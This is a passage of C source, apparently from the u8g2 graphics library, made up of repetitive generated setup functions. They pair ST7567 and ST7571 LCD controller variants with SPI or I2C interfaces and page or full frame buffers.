u8g2_Setup_st7567_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_i2c_pi_132x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_i2c_pi_132x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_i2c_pi_132x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_pi_132x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064i_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_os12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064i_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_os12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_jlx12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_enh_dg128064i_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_enh_dg128064i, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_os12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_os12864, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_i2c_erc13232_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_i2c_erc13232_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_i2c_erc13232_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_erc13232, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_17_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_i2c_122x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_i2c_122x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_i2c_122x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_122x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 */ /* st7567 1 */ void u8g2_Setup_st7567_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_hem6432_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 2 */ void u8g2_Setup_st7567_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_hem6432_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7567 f */ void u8g2_Setup_st7567_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_st7567_i2c_hem6432_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7567_hem6432, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 */ /* st7571 1 */ void u8g2_Setup_st7571_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 2 */ void u8g2_Setup_st7571_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* st7571 f */ void u8g2_Setup_st7571_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* 